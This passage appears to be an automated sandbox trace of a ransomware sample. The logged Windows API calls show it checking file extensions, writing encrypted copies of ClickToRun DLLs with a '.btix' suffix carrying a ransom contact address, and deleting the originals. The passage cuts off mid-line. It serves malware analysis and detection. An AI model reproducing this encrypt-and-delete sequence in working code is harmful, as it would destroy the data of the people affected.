lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0055.173] lstrlenW (lpString=".dbf") returned 4 [0055.173] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0055.173] lstrlenW (lpString=".1cd") returned 4 [0055.173] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0055.173] lstrlenW (lpString=".jpg") returned 4 [0055.173] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0055.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0055.174] lstrlenW (lpString=".doc") returned 4 [0055.174] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.174] lstrlenW (lpString=".docx") returned 5 [0055.174] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.174] lstrlenW (lpString=".pdf") returned 4 [0055.174] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.174] lstrlenW (lpString=".xls") returned 4 [0055.174] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.174] lstrlenW (lpString=".xlsx") returned 5 [0055.174] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.174] lstrlenW (lpString=".ppt") returned 4 [0055.174] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0055.174] lstrlenW (lpString=".zip") returned 4 [0055.174] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.174] lstrlenW (lpString=".rar") returned 4 [0055.174] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.174] lstrlenW (lpString=".bz2") returned 4 [0055.174] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.174] lstrlenW (lpString=".7z") returned 3 [0055.174] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0055.174] lstrlenW (lpString=".dbf") returned 4 [0055.174] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0055.174] lstrlenW (lpString=".1cd") returned 4 [0055.174] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0055.174] lstrlenW (lpString=".jpg") returned 4 [0055.174] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.174] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.174] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31 [0055.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.175] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=24768) returned 1 [0055.175] CloseHandle (hObject=0x31c) returned 1 [0055.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20 [0055.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.175] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.175] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.175] GetLastError () returned 0x0 [0055.175] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x60c0, lpOverlapped=0x0) returned 1 [0055.187] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0055.188] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.188] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x112, lpOverlapped=0x0) returned 1 [0055.188] SetEndOfFile (hFile=0x320) returned 1 [0055.188] CloseHandle (hObject=0x320) returned 1 [0055.189] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.189] SetEndOfFile (hFile=0x31c) returned 1 [0055.190] CloseHandle (hObject=0x31c) returned 1 [0055.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.190] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1 [0055.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0055.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0055.191] lstrlenW (lpString=".doc") returned 4 [0055.191] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.191] lstrlenW (lpString=".docx") returned 5 [0055.191] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.191] lstrlenW (lpString=".pdf") returned 4 [0055.191] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.191] lstrlenW (lpString=".xls") returned 4 [0055.191] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.191] lstrlenW (lpString=".xlsx") returned 5 [0055.191] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.191] lstrlenW (lpString=".ppt") returned 4 [0055.191] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0055.191] lstrlenW (lpString=".zip") returned 4 [0055.191] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.191] lstrlenW (lpString=".rar") returned 4 [0055.191] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.191] lstrlenW (lpString=".bz2") returned 4 [0055.191] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.191] lstrlenW (lpString=".7z") returned 3 [0055.191] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0055.191] lstrlenW (lpString=".dbf") returned 4 [0055.191] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0055.191] lstrlenW (lpString=".1cd") returned 4 [0055.191] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0055.191] lstrlenW (lpString=".jpg") returned 4 [0055.191] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0055.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0055.191] lstrlenW (lpString=".doc") returned 4 [0055.191] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.191] lstrlenW (lpString=".docx") returned 5 [0055.191] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.192] lstrlenW (lpString=".pdf") returned 4 [0055.192] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.192] lstrlenW (lpString=".xls") returned 4 [0055.192] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.192] lstrlenW (lpString=".xlsx") returned 5 [0055.192] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.192] lstrlenW (lpString=".ppt") returned 4 [0055.192] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0055.192] lstrlenW (lpString=".zip") returned 4 [0055.192] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.192] lstrlenW (lpString=".rar") returned 4 [0055.192] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.192] lstrlenW (lpString=".bz2") returned 4 [0055.192] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.192] lstrlenW (lpString=".7z") returned 3 [0055.192] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0055.192] lstrlenW (lpString=".dbf") returned 4 [0055.192] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0055.192] lstrlenW (lpString=".1cd") returned 4 [0055.192] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0055.192] lstrlenW (lpString=".jpg") returned 4 [0055.192] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.192] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.193] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.193] GetLastError () returned 0x0 [0055.193] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x60c0, lpOverlapped=0x0) returned 1 [0055.204] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0055.205] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.205] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x114, lpOverlapped=0x0) returned 1 [0055.205] SetEndOfFile (hFile=0x320) returned 1 [0055.205] CloseHandle (hObject=0x320) returned 1 [0055.206] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.206] SetEndOfFile (hFile=0x31c) returned 1 [0055.207] CloseHandle (hObject=0x31c) returned 1 [0055.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.207] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 1 [0055.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0055.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0055.208] lstrlenW (lpString=".doc") returned 4 [0055.208] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.208] lstrlenW (lpString=".docx") returned 5 [0055.208] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.208] lstrlenW (lpString=".pdf") returned 4 [0055.208] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.208] lstrlenW (lpString=".xls") returned 4 [0055.208] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.208] lstrlenW (lpString=".xlsx") returned 5 [0055.208] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.208] lstrlenW (lpString=".ppt") returned 4 [0055.208] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0055.208] lstrlenW (lpString=".zip") returned 4 [0055.208] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.208] lstrlenW (lpString=".rar") returned 4 [0055.208] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.208] lstrlenW (lpString=".bz2") returned 4 [0055.208] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.208] lstrlenW (lpString=".7z") returned 3 [0055.208] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0055.208] lstrlenW (lpString=".dbf") returned 4 [0055.208] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0055.209] lstrlenW (lpString=".1cd") returned 4 [0055.209] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0055.209] lstrlenW (lpString=".jpg") returned 4 [0055.209] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.209] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.209] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.209] GetLastError () returned 0x0 [0055.209] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0055.221] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0055.222] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.222] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x110, lpOverlapped=0x0) returned 1 [0055.223] SetEndOfFile (hFile=0x320) returned 1 [0055.223] CloseHandle (hObject=0x320) returned 1 [0055.224] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.224] SetEndOfFile (hFile=0x31c) returned 1 [0055.225] CloseHandle (hObject=0x31c) returned 1 [0055.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.225] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 1 [0055.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0055.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0055.225] lstrlenW (lpString=".doc") returned 4 [0055.225] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.225] lstrlenW (lpString=".docx") returned 5 [0055.225] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.225] lstrlenW (lpString=".pdf") returned 4 [0055.225] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.225] lstrlenW (lpString=".xls") returned 4 [0055.225] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.225] lstrlenW (lpString=".xlsx") returned 5 [0055.226] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.226] lstrlenW (lpString=".ppt") returned 4 [0055.226] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0055.226] lstrlenW (lpString=".zip") returned 4 [0055.226] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.226] lstrlenW (lpString=".rar") returned 4 [0055.226] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.226] lstrlenW (lpString=".bz2") returned 4 [0055.226] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.226] lstrlenW (lpString=".7z") returned 3 [0055.226] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0055.226] lstrlenW (lpString=".dbf") returned 4 [0055.226] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0055.226] lstrlenW (lpString=".1cd") returned 4 [0055.226] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0055.226] lstrlenW (lpString=".jpg") returned 4 [0055.226] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.226] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.226] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.227] GetLastError () returned 0x0 [0055.227] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0055.229] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0055.230] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.230] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x116, lpOverlapped=0x0) returned 1 [0055.230] SetEndOfFile (hFile=0x320) returned 1 [0055.230] CloseHandle (hObject=0x320) returned 1 [0055.231] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.231] SetEndOfFile (hFile=0x31c) returned 1 [0055.232] CloseHandle (hObject=0x31c) returned 1 [0055.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.233] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1 [0055.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0055.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0055.233] lstrlenW (lpString=".doc") returned 4 [0055.233] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.233] lstrlenW (lpString=".docx") returned 5 [0055.233] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.233] lstrlenW (lpString=".pdf") returned 4 [0055.233] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.233] lstrlenW (lpString=".xls") returned 4 [0055.233] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.233] lstrlenW (lpString=".xlsx") returned 5 [0055.233] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.233] lstrlenW (lpString=".ppt") returned 4 [0055.233] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0055.233] lstrlenW (lpString=".zip") returned 4 [0055.233] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.233] lstrlenW (lpString=".rar") returned 4 [0055.233] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.233] lstrlenW (lpString=".bz2") returned 4 [0055.233] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.233] lstrlenW (lpString=".7z") returned 3 [0055.233] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 